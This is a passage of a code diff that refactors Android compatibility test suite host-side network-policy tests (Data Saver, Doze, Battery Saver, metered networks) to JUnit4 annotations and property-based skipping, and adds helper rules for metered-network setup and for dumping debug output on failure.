-            Log.i(TAG, "Skipping " + getClass() + "." + getName()
-                    + "() because device does not support Data Saver Mode");
-        }
-        return mIsDataSaverSupported && super.isSupported();
-    }
-
+    @Test
     public void testGetRestrictBackgroundStatus_disabled() throws Exception {
-        if (!isSupported()) return;
-
         assertDataSaverStatusOnBackground(RESTRICT_BACKGROUND_STATUS_DISABLED);
 
         // Sanity check: make sure status is always disabled, never whitelisted
@@ -88,9 +76,8 @@
         assertDataSaverStatusOnBackground(RESTRICT_BACKGROUND_STATUS_DISABLED);
     }
 
+    @Test
     public void testGetRestrictBackgroundStatus_whitelisted() throws Exception {
-        if (!isSupported()) return;
-
         setRestrictBackground(true);
         assertRestrictBackgroundChangedReceived(1);
         assertDataSaverStatusOnBackground(RESTRICT_BACKGROUND_STATUS_ENABLED);
@@ -107,9 +94,8 @@
         assertDataSaverStatusOnBackground(RESTRICT_BACKGROUND_STATUS_ENABLED);
     }
 
+    @Test
     public void testGetRestrictBackgroundStatus_enabled() throws Exception {
-        if (!isSupported()) return;
-
         setRestrictBackground(true);
         assertRestrictBackgroundChangedReceived(1);
         assertDataSaverStatusOnBackground(RESTRICT_BACKGROUND_STATUS_ENABLED);
@@ -142,9 +128,8 @@
         assertBackgroundNetworkAccess(false);
     }
 
+    @Test
     public void testGetRestrictBackgroundStatus_blacklisted() throws Exception {
-        if (!isSupported()) return;
-
         addRestrictBackgroundBlacklist(mUid);
         assertRestrictBackgroundChangedReceived(1);
         assertDataSaverStatusOnBackground(RESTRICT_BACKGROUND_STATUS_ENABLED);
@@ -180,9 +165,8 @@
         assertsForegroundAlwaysHasNetworkAccess();
     }
 
+    @Test
     public void testGetRestrictBackgroundStatus_requiredWhitelistedPackages() throws Exception {
-        if (!isSupported()) return;
-
         final StringBuilder error = new StringBuilder();
         for (String packageName : REQUIRED_WHITELISTED_PACKAGES) {
             int uid = -1;
@@ -202,10 +186,10 @@
         }
     }
 
+    @RequiredProperties({NO_DATA_SAVER_MODE})
     @CddTest(requirement="7.4.7/C-2-2")
+    @Test
     public void testBroadcastNotSentOnUnsupportedDevices() throws Exception {
-        if (isSupported()) return;
-
         setRestrictBackground(true);
         assertRestrictBackgroundChangedReceived(0);
 
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/DozeModeMeteredTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/DozeModeMeteredTest.java
index e4189af..4306c99 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/DozeModeMeteredTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/DozeModeMeteredTest.java
@@ -16,15 +16,8 @@
 
 package com.android.cts.net.hostside;
 
+import static com.android.cts.net.hostside.Property.METERED_NETWORK;
+
+@RequiredProperties({METERED_NETWORK})
 public class DozeModeMeteredTest extends AbstractDozeModeTestCase {
-
-    @Override
-    protected boolean setUpActiveNetworkMeteringState() throws Exception {
-        return setMeteredNetwork();
-    }
-
-    @Override
-    protected void tearDownMeteredNetwork() throws Exception {
-        resetMeteredNetwork();
-    }
 }
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/DozeModeNonMeteredTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/DozeModeNonMeteredTest.java
index edbbb9e..1e89f15 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/DozeModeNonMeteredTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/DozeModeNonMeteredTest.java
@@ -16,10 +16,8 @@
 
 package com.android.cts.net.hostside;
 
-public class DozeModeNonMeteredTest extends AbstractDozeModeTestCase {
+import static com.android.cts.net.hostside.Property.NON_METERED_NETWORK;
 
-    @Override
-    protected boolean setUpActiveNetworkMeteringState() throws Exception {
-        return setUnmeteredNetwork();
-    }
+@RequiredProperties({NON_METERED_NETWORK})
+public class DozeModeNonMeteredTest extends AbstractDozeModeTestCase {
 }
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/DumpOnFailureRule.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/DumpOnFailureRule.java
new file mode 100644
index 0000000..cedd62a
--- /dev/null
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/DumpOnFailureRule.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.net.hostside;
+
+import static com.android.cts.net.hostside.AbstractRestrictBackgroundNetworkTestCase.TAG;
+import static com.android.cts.net.hostside.AbstractRestrictBackgroundNetworkTestCase.TEST_PKG;
+
+import android.os.Environment;
+import android.os.FileUtils;
+import android.os.ParcelFileDescriptor;
+import android.util.Log;
+
+import com.android.compatibility.common.util.OnFailureRule;
+
+import org.junit.AssumptionViolatedException;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+public class DumpOnFailureRule extends OnFailureRule {
+    private File mDumpDir = new File(Environment.getExternalStorageDirectory(),
+            "CtsHostsideNetworkTests");
+
+    @Override
+    public void onTestFailure(Statement base, Description description, Throwable throwable) {
+        final String testName = description.getClassName() + "_" + description.getMethodName();
+
+        if (throwable instanceof AssumptionViolatedException) {
+            Log.d(TAG, "Skipping test " + testName + ": " + throwable);
+            return;
+        }
+
+        prepareDumpRootDir();
+        final File dumpFile = new File(mDumpDir, "dump-" + testName);
+        Log.i(TAG, "Dumping debug info for " + description + ": " + dumpFile.getPath());
+        try (FileOutputStream out = new FileOutputStream(dumpFile)) {
+            for (String cmd : new String[] {
+                    "dumpsys netpolicy",
+                    "dumpsys network_management",
+                    "dumpsys usagestats " + TEST_PKG,
+                    "dumpsys usagestats appstandby",
+            }) {
+                dumpCommandOutput(out, cmd);
+            }
+        } catch (FileNotFoundException e) {
+            Log.e(TAG, "Error opening file: " + dumpFile, e);
+        } catch (IOException e) {
+            Log.e(TAG, "Error closing file: " + dumpFile, e);
+        }
+    }
+
+    void dumpCommandOutput(FileOutputStream out, String cmd) {
+        final ParcelFileDescriptor pfd = InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation().executeShellCommand(cmd);
+        try (FileInputStream in = new ParcelFileDescriptor.AutoCloseInputStream(pfd)) {
+            out.write(("Output of '" + cmd + "':\n").getBytes(StandardCharsets.UTF_8));
+            FileUtils.copy(in, out);
+            out.write("\n\n=================================================================\n\n"
+                    .getBytes(StandardCharsets.UTF_8));
+        } catch (IOException e) {
+            Log.e(TAG, "Error dumping '" + cmd + "'", e);
+        }
+    }
+
+    void prepareDumpRootDir() {
+        if (!mDumpDir.exists() && !mDumpDir.mkdir()) {
+            Log.e(TAG, "Error creating " + mDumpDir);
+        }
+    }
+}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/MeterednessConfigurationRule.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/MeterednessConfigurationRule.java
new file mode 100644
index 0000000..8fadf9e
--- /dev/null
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/MeterednessConfigurationRule.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.net.hostside;
+
+import static com.android.cts.net.hostside.NetworkPolicyTestUtils.resetMeteredNetwork;
+import static com.android.cts.net.hostside.NetworkPolicyTestUtils.setupMeteredNetwork;
+import static com.android.cts.net.hostside.Property.METERED_NETWORK;
+import static com.android.cts.net.hostside.Property.NON_METERED_NETWORK;
+
+import android.util.ArraySet;
+import android.util.Pair;
+
+import com.android.compatibility.common.util.BeforeAfterRule;
+
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+public class MeterednessConfigurationRule extends BeforeAfterRule {
+    private Pair<String, Boolean> mSsidAndInitialMeteredness;
+
+    @Override
+    public void onBefore(Statement base, Description description) throws Throwable {
+        final ArraySet<Property> requiredProperties
+                = RequiredPropertiesRule.getRequiredProperties();
+        if (requiredProperties.contains(METERED_NETWORK)) {
+            configureNetworkMeteredness(true);
+        } else if (requiredProperties.contains(NON_METERED_NETWORK)) {
+            configureNetworkMeteredness(false);
+        }
+    }
+
+    @Override
+    public void onAfter(Statement base, Description description) throws Throwable {
+        resetNetworkMeteredness();
+    }
+
+    public void configureNetworkMeteredness(boolean metered) throws Exception {
+        mSsidAndInitialMeteredness = setupMeteredNetwork(metered);
+    }
+
+    public void resetNetworkMeteredness() throws Exception {
+        if (mSsidAndInitialMeteredness != null) {
+            resetMeteredNetwork(mSsidAndInitialMeteredness.first,
+                    mSsidAndInitialMeteredness.second);
+        }
+    }
+}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/MixedModesTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/MixedModesTest.java
index b1a2186..c9edda6 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/MixedModesTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/MixedModesTest.java
@@ -15,9 +15,21 @@
  */
 package com.android.cts.net.hostside;
 
+import static com.android.cts.net.hostside.NetworkPolicyTestUtils.setRestrictBackground;
+import static com.android.cts.net.hostside.Property.APP_STANDBY_MODE;
+import static com.android.cts.net.hostside.Property.BATTERY_SAVER_MODE;
+import static com.android.cts.net.hostside.Property.DATA_SAVER_MODE;
+import static com.android.cts.net.hostside.Property.DOZE_MODE;
+import static com.android.cts.net.hostside.Property.METERED_NETWORK;
+import static com.android.cts.net.hostside.Property.NON_METERED_NETWORK;
+
 import android.os.SystemClock;
 import android.util.Log;
 
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
 /**
  * Test cases for the more complex scenarios where multiple restrictions (like Battery Saver Mode
  * and Data Saver Mode) are applied simultaneously.
@@ -29,12 +41,10 @@
 public class MixedModesTest extends AbstractRestrictBackgroundNetworkTestCase {
     private static final String TAG = "MixedModesTest";
 
-    @Override
+    @Before
     public void setUp() throws Exception {
         super.setUp();
 
-        if (!isSupported()) return;
-
         // Set initial state.
         removeRestrictBackgroundWhitelist(mUid);
         removeRestrictBackgroundBlacklist(mUid);
@@ -44,12 +54,10 @@
         registerBroadcastReceiver();
     }
 
-    @Override
-    protected void tearDown() throws Exception {
+    @After
+    public void tearDown() throws Exception {
         super.tearDown();
 
-        if (!isSupported()) return;
-
         try {
             setRestrictBackground(false);
         } finally {
@@ -57,34 +65,15 @@
         }
     }
 
-    @Override
-    public boolean isSupported() throws Exception {
-        if (!isDozeModeEnabled()) {
-            Log.i(TAG, "Skipping " + getClass() + "." + getName()
-                    + "() because device does not support Doze Mode");
-            return false;
-        }
-        return true;
-    }
-
     /**
      * Tests all DS ON and BS ON scenarios from network-policy-restrictions.md on metered networks.
      */
+    @RequiredProperties({DATA_SAVER_MODE, BATTERY_SAVER_MODE, METERED_NETWORK})
+    @Test
     public void testDataAndBatterySaverModes_meteredNetwork() throws Exception {
-        if (!isBatterySaverSupported()) {
-            Log.i(TAG, "Skipping " + getClass() + "." + getName()
-                    + "() because device does not support Battery saver mode");
-            return;
-        }
-        if (!isSupported()) return;
-
-        Log.i(TAG, "testDataAndBatterySaverModes_meteredNetwork() tests");
-        if (!setMeteredNetwork()) {
-            Log.w(TAG, "testDataAndBatterySaverModes_meteredNetwork() skipped because "
-                    + "device cannot use a metered network");
-            return;
-        }
-
+        final MeterednessConfigurationRule meterednessConfiguration
+                = new MeterednessConfigurationRule();
+        meterednessConfiguration.configureNetworkMeteredness(true);
         try {
             setRestrictBackground(true);
             setBatterySaverMode(true);
@@ -137,7 +126,7 @@
             removeRestrictBackgroundBlacklist(mUid);
             removePowerSaveModeWhitelist(TEST_APP2_PKG);
         } finally {
-            resetMeteredNetwork();
+            meterednessConfiguration.resetNetworkMeteredness();
         }
     }
 
@@ -145,86 +134,75 @@
      * Tests all DS ON and BS ON scenarios from network-policy-restrictions.md on non-metered
      * networks.
      */
+    @RequiredProperties({DATA_SAVER_MODE, BATTERY_SAVER_MODE, NON_METERED_NETWORK})
+    @Test
     public void testDataAndBatterySaverModes_nonMeteredNetwork() throws Exception {
-        if (!isBatterySaverSupported()) {
-            Log.i(TAG, "Skipping " + getClass() + "." + getName()
-                    + "() because device does not support Battery saver mode");
-            return;
+        final MeterednessConfigurationRule meterednessConfiguration
+                = new MeterednessConfigurationRule();
+        meterednessConfiguration.configureNetworkMeteredness(false);
+        try {
+            setRestrictBackground(true);
+            setBatterySaverMode(true);
+
+            Log.v(TAG, "Not whitelisted for any.");
+            assertBackgroundNetworkAccess(false);
+            assertsForegroundAlwaysHasNetworkAccess();
+            assertBackgroundNetworkAccess(false);
+
+            Log.v(TAG, "Whitelisted for Data Saver but not for Battery Saver.");
+            addRestrictBackgroundWhitelist(mUid);
+            removePowerSaveModeWhitelist(TEST_APP2_PKG);
+            assertBackgroundNetworkAccess(false);
+            assertsForegroundAlwaysHasNetworkAccess();
+            assertBackgroundNetworkAccess(false);
+            removeRestrictBackgroundWhitelist(mUid);
+
+            Log.v(TAG, "Whitelisted for Battery Saver but not for Data Saver.");
+            addPowerSaveModeWhitelist(TEST_APP2_PKG);
+            removeRestrictBackgroundWhitelist(mUid);
+            assertBackgroundNetworkAccess(true);
+            assertsForegroundAlwaysHasNetworkAccess();
+            assertBackgroundNetworkAccess(true);
+            removePowerSaveModeWhitelist(TEST_APP2_PKG);
+
+            Log.v(TAG, "Whitelisted for both.");
+            addRestrictBackgroundWhitelist(mUid);
+            addPowerSaveModeWhitelist(TEST_APP2_PKG);
+            assertBackgroundNetworkAccess(true);
+            assertsForegroundAlwaysHasNetworkAccess();
+            assertBackgroundNetworkAccess(true);
+            removePowerSaveModeWhitelist(TEST_APP2_PKG);
+            assertBackgroundNetworkAccess(false);
+            removeRestrictBackgroundWhitelist(mUid);
+
+            Log.v(TAG, "Blacklisted for Data Saver, not whitelisted for Battery Saver.");
+            addRestrictBackgroundBlacklist(mUid);
+            removePowerSaveModeWhitelist(TEST_APP2_PKG);
+            assertBackgroundNetworkAccess(false);
+            assertsForegroundAlwaysHasNetworkAccess();
+            assertBackgroundNetworkAccess(false);
+            removeRestrictBackgroundBlacklist(mUid);
+
+            Log.v(TAG, "Blacklisted for Data Saver, whitelisted for Battery Saver.");
+            addRestrictBackgroundBlacklist(mUid);
+            addPowerSaveModeWhitelist(TEST_APP2_PKG);
+            assertBackgroundNetworkAccess(true);
+            assertsForegroundAlwaysHasNetworkAccess();
+            assertBackgroundNetworkAccess(true);
+            removeRestrictBackgroundBlacklist(mUid);
+            removePowerSaveModeWhitelist(TEST_APP2_PKG);
+        } finally {
+            meterednessConfiguration.resetNetworkMeteredness();
         }
-        if (!isSupported()) return;
-
-        if (!setUnmeteredNetwork()) {
-            Log.w(TAG, "testDataAndBatterySaverModes_nonMeteredNetwork() skipped because network"
-                    + " is metered");
-            return;
-        }
-        Log.i(TAG, "testDataAndBatterySaverModes_nonMeteredNetwork() tests");
-        setRestrictBackground(true);
-        setBatterySaverMode(true);
-
-        Log.v(TAG, "Not whitelisted for any.");
-        assertBackgroundNetworkAccess(false);
-        assertsForegroundAlwaysHasNetworkAccess();
-        assertBackgroundNetworkAccess(false);
-
-        Log.v(TAG, "Whitelisted for Data Saver but not for Battery Saver.");
-        addRestrictBackgroundWhitelist(mUid);
-        removePowerSaveModeWhitelist(TEST_APP2_PKG);
-        assertBackgroundNetworkAccess(false);
-        assertsForegroundAlwaysHasNetworkAccess();
-        assertBackgroundNetworkAccess(false);
-        removeRestrictBackgroundWhitelist(mUid);
-
-        Log.v(TAG, "Whitelisted for Battery Saver but not for Data Saver.");
-        addPowerSaveModeWhitelist(TEST_APP2_PKG);
-        removeRestrictBackgroundWhitelist(mUid);
-        assertBackgroundNetworkAccess(true);
-        assertsForegroundAlwaysHasNetworkAccess();
-        assertBackgroundNetworkAccess(true);
-        removePowerSaveModeWhitelist(TEST_APP2_PKG);
-
-        Log.v(TAG, "Whitelisted for both.");
-        addRestrictBackgroundWhitelist(mUid);
-        addPowerSaveModeWhitelist(TEST_APP2_PKG);
-        assertBackgroundNetworkAccess(true);
-        assertsForegroundAlwaysHasNetworkAccess();
-        assertBackgroundNetworkAccess(true);
-        removePowerSaveModeWhitelist(TEST_APP2_PKG);
-        assertBackgroundNetworkAccess(false);
-        removeRestrictBackgroundWhitelist(mUid);
-
-        Log.v(TAG, "Blacklisted for Data Saver, not whitelisted for Battery Saver.");
-        addRestrictBackgroundBlacklist(mUid);
-        removePowerSaveModeWhitelist(TEST_APP2_PKG);
-        assertBackgroundNetworkAccess(false);
-        assertsForegroundAlwaysHasNetworkAccess();
-        assertBackgroundNetworkAccess(false);
-        removeRestrictBackgroundBlacklist(mUid);
-
-        Log.v(TAG, "Blacklisted for Data Saver, whitelisted for Battery Saver.");
-        addRestrictBackgroundBlacklist(mUid);
-        addPowerSaveModeWhitelist(TEST_APP2_PKG);
-        assertBackgroundNetworkAccess(true);
-        assertsForegroundAlwaysHasNetworkAccess();
-        assertBackgroundNetworkAccess(true);
-        removeRestrictBackgroundBlacklist(mUid);
-        removePowerSaveModeWhitelist(TEST_APP2_PKG);
     }
 
     /**
      * Tests that powersave whitelists works as expected when doze and battery saver modes
      * are enabled.
      */
+    @RequiredProperties({DOZE_MODE, BATTERY_SAVER_MODE})
+    @Test
     public void testDozeAndBatterySaverMode_powerSaveWhitelists() throws Exception {
-        if (!isBatterySaverSupported()) {
-            Log.i(TAG, "Skipping " + getClass() + "." + getName()
-                    + "() because device does not support Battery saver mode");
-            return;
-        }
-        if (!isSupported()) {
-            return;
-        }
-
         setBatterySaverMode(true);
         setDozeMode(true);
 
@@ -250,11 +228,9 @@
      * Tests that powersave whitelists works as expected when doze and appIdle modes
      * are enabled.
      */
+    @RequiredProperties({DOZE_MODE, APP_STANDBY_MODE})
+    @Test
     public void testDozeAndAppIdle_powerSaveWhitelists() throws Exception {
-        if (!isSupported()) {
-            return;
-        }
-
         setDozeMode(true);
         setAppIdle(true);
 
@@ -276,11 +252,9 @@
         }
     }
 
+    @RequiredProperties({APP_STANDBY_MODE, DOZE_MODE})
+    @Test
     public void testAppIdleAndDoze_tempPowerSaveWhitelists() throws Exception {
-        if (!isSupported()) {
-            return;
-        }
-
         setDozeMode(true);
         setAppIdle(true);
 
@@ -299,16 +273,9 @@
         }
     }
 
+    @RequiredProperties({APP_STANDBY_MODE, BATTERY_SAVER_MODE})
+    @Test
     public void testAppIdleAndBatterySaver_tempPowerSaveWhitelists() throws Exception {
-        if (!isBatterySaverSupported()) {
-            Log.i(TAG, "Skipping " + getClass() + "." + getName()
-                    + "() because device does not support Battery saver mode");
-            return;
-        }
-        if (!isSupported()) {
-            return;
-        }
-
         setBatterySaverMode(true);
         setAppIdle(true);
 
@@ -330,11 +297,9 @@
     /**
      * Tests that the app idle whitelist works as expected when doze and appIdle mode are enabled.
      */
+    @RequiredProperties({DOZE_MODE, APP_STANDBY_MODE})
+    @Test
     public void testDozeAndAppIdle_appIdleWhitelist() throws Exception {
-        if (!isSupported()) {
-            return;
-        }
-
         setDozeMode(true);
         setAppIdle(true);
 
@@ -353,11 +318,9 @@
         }
     }
 
+    @RequiredProperties({APP_STANDBY_MODE, DOZE_MODE})
+    @Test
     public void testAppIdleAndDoze_tempPowerSaveAndAppIdleWhitelists() throws Exception {
-        if (!isSupported()) {
-            return;
-        }
-
         setDozeMode(true);
         setAppIdle(true);
 
@@ -380,16 +343,9 @@
         }
     }
 
+    @RequiredProperties({APP_STANDBY_MODE, BATTERY_SAVER_MODE})
+    @Test
     public void testAppIdleAndBatterySaver_tempPowerSaveAndAppIdleWhitelists() throws Exception {
-        if (!isBatterySaverSupported()) {
-            Log.i(TAG, "Skipping " + getClass() + "." + getName()
-                    + "() because device does not support Battery saver mode");
-            return;
-        }
-        if (!isSupported()) {
-            return;
-        }
-
         setBatterySaverMode(true);
         setAppIdle(true);
 
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/NetworkCallbackTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/NetworkCallbackTest.java
index 24dde9d..ed397b9 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/NetworkCallbackTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/NetworkCallbackTest.java
@@ -16,15 +16,26 @@
 
 package com.android.cts.net.hostside;
 
+import static com.android.cts.net.hostside.NetworkPolicyTestUtils.setRestrictBackground;
+import static com.android.cts.net.hostside.Property.BATTERY_SAVER_MODE;
+import static com.android.cts.net.hostside.Property.DATA_SAVER_MODE;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.fail;
+
 import android.net.Network;
 
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
 import java.util.Objects;
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
 
 public class NetworkCallbackTest extends AbstractRestrictBackgroundNetworkTestCase {
 
-    private boolean mIsDataSaverSupported;
     private Network mNetwork;
     private final TestNetworkCallback mTestNetworkCallback = new TestNetworkCallback();
 
@@ -132,108 +143,122 @@
         }
     }
 
-    @Override
+    @Before
     public void setUp() throws Exception {
         super.setUp();
 
-        mIsDataSaverSupported = isDataSaverSupported();
-
         mNetwork = mCm.getActiveNetwork();
 
-        // Set initial state.
-        setBatterySaverMode(false);
         registerBroadcastReceiver();
 
-        if (!mIsDataSaverSupported) return;
-        setRestrictBackground(false);
         removeRestrictBackgroundWhitelist(mUid);
         removeRestrictBackgroundBlacklist(mUid);
         assertRestrictBackgroundChangedReceived(0);
     }
 
-    @Override
-    protected void tearDown() throws Exception {
+    @After
+    public void tearDown() throws Exception {
         super.tearDown();
 
-        if (!mIsDataSaverSupported) return;
+        setRestrictBackground(false);
+        setBatterySaverMode(false);
+    }
 
+    @RequiredProperties({DATA_SAVER_MODE})
+    @Test
+    public void testOnBlockedStatusChanged_dataSaver() throws Exception {
+        // Initial state
+        setBatterySaverMode(false);
+        setRestrictBackground(false);
+
+        final MeterednessConfigurationRule meterednessConfiguration
+                = new MeterednessConfigurationRule();
+        meterednessConfiguration.configureNetworkMeteredness(true);
         try {
-            resetMeteredNetwork();
+            // Register callback
+            registerNetworkCallback((INetworkCallback.Stub) mTestNetworkCallback);
+            mTestNetworkCallback.expectAvailableCallback(mNetwork);
+            mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, false);
+
+            // Enable restrict background
+            setRestrictBackground(true);
+            assertBackgroundNetworkAccess(false);
+            mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, true);
+
+            // Add to whitelist
+            addRestrictBackgroundWhitelist(mUid);
+            assertBackgroundNetworkAccess(true);
+            mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, false);
+
+            // Remove from whitelist
+            removeRestrictBackgroundWhitelist(mUid);
+            assertBackgroundNetworkAccess(false);
+            mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, true);
         } finally {
+            meterednessConfiguration.resetNetworkMeteredness();
+        }
+
+        // Set to non-metered network
+        meterednessConfiguration.configureNetworkMeteredness(false);
+        try {
+            assertBackgroundNetworkAccess(true);
+            mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, false);
+
+            // Disable restrict background, should not trigger callback
             setRestrictBackground(false);
+            assertBackgroundNetworkAccess(true);
+            mTestNetworkCallback.assertNoCallback();
+        } finally {
+            meterednessConfiguration.resetNetworkMeteredness();
         }
     }
 
-    public void testOnBlockedStatusChanged_data_saver() throws Exception {
-        if (!mIsDataSaverSupported) return;
-
-        // Prepare metered wifi
-        if (!setMeteredNetwork()) return;
-
-        // Register callback
-        registerNetworkCallback((INetworkCallback.Stub) mTestNetworkCallback);
-        mTestNetworkCallback.expectAvailableCallback(mNetwork);
-        mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, false);
-
-        // Enable restrict background
-        setRestrictBackground(true);
-        assertBackgroundNetworkAccess(false);
-        mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, true);
-
-        // Add to whitelist
-        addRestrictBackgroundWhitelist(mUid);
-        assertBackgroundNetworkAccess(true);
-        mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, false);
-
-        // Remove from whitelist
-        removeRestrictBackgroundWhitelist(mUid);
-        assertBackgroundNetworkAccess(false);
-        mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, true);
-
-        // Set to non-metered network
-        setUnmeteredNetwork();
-        assertBackgroundNetworkAccess(true);
-        mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, false);
-
-        // Disable restrict background, should not trigger callback
+    @RequiredProperties({BATTERY_SAVER_MODE})
+    @Test
+    public void testOnBlockedStatusChanged_powerSaver() throws Exception {
+        // Set initial state.
+        setBatterySaverMode(false);
         setRestrictBackground(false);
-        assertBackgroundNetworkAccess(true);
-        mTestNetworkCallback.assertNoCallback();
-    }
 
+        final MeterednessConfigurationRule meterednessConfiguration
+                = new MeterednessConfigurationRule();
+        meterednessConfiguration.configureNetworkMeteredness(true);
+        try {
+            // Register callback
+            registerNetworkCallback((INetworkCallback.Stub) mTestNetworkCallback);
+            mTestNetworkCallback.expectAvailableCallback(mNetwork);
+            mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, false);
 
-    public void testOnBlockedStatusChanged_power_saver() throws Exception {
-        // Prepare metered wifi
-        if (!setMeteredNetwork()) return;
+            // Enable Power Saver
+            setBatterySaverMode(true);
+            assertBackgroundNetworkAccess(false);
+            mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, true);
 
-        // Register callback
-        registerNetworkCallback((INetworkCallback.Stub) mTestNetworkCallback);
-        mTestNetworkCallback.expectAvailableCallback(mNetwork);
-        mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, false);
-
-        // Enable Power Saver
-        setBatterySaverMode(true);
-        assertBackgroundNetworkAccess(false);
-        mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, true);
-
-        // Disable Power Saver
-        setBatterySaverMode(false);
-        assertBackgroundNetworkAccess(true);
-        mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, false);
+            // Disable Power Saver
+            setBatterySaverMode(false);
+            assertBackgroundNetworkAccess(true);
+            mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, false);
+        } finally {
+            meterednessConfiguration.resetNetworkMeteredness();
+        }
 
         // Set to non-metered network
-        setUnmeteredNetwork();
-        mTestNetworkCallback.assertNoCallback();
+        meterednessConfiguration.configureNetworkMeteredness(false);
+        try {
+            mTestNetworkCallback.assertNoCallback();
 
-        // Enable Power Saver
-        setBatterySaverMode(true);
-        assertBackgroundNetworkAccess(false);
-        mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, true);
+            // Enable Power Saver
+            setBatterySaverMode(true);
+            assertBackgroundNetworkAccess(false);
+            mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, true);
 
-        // Disable Power Saver
-        setBatterySaverMode(false);
-        assertBackgroundNetworkAccess(true);
-        mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, false);
+            // Disable Power Saver
+            setBatterySaverMode(false);
+            assertBackgroundNetworkAccess(true);
+            mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, false);
+        } finally {
+            meterednessConfiguration.resetNetworkMeteredness();
+        }
     }
 
     // TODO: 1. test against VPN lockdown.
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/NetworkPolicyTestUtils.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/NetworkPolicyTestUtils.java
new file mode 100644
index 0000000..ca2864c
--- /dev/null
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/NetworkPolicyTestUtils.java
@@ -0,0 +1,255 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.net.hostside;
+
+import static android.net.ConnectivityManager.RESTRICT_BACKGROUND_STATUS_DISABLED;
+import static android.net.ConnectivityManager.RESTRICT_BACKGROUND_STATUS_ENABLED;
+import static android.net.ConnectivityManager.RESTRICT_BACKGROUND_STATUS_WHITELISTED;
+import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_METERED;
+import static android.net.NetworkCapabilities.TRANSPORT_WIFI;
+
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.cts.net.hostside.AbstractRestrictBackgroundNetworkTestCase.TAG;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
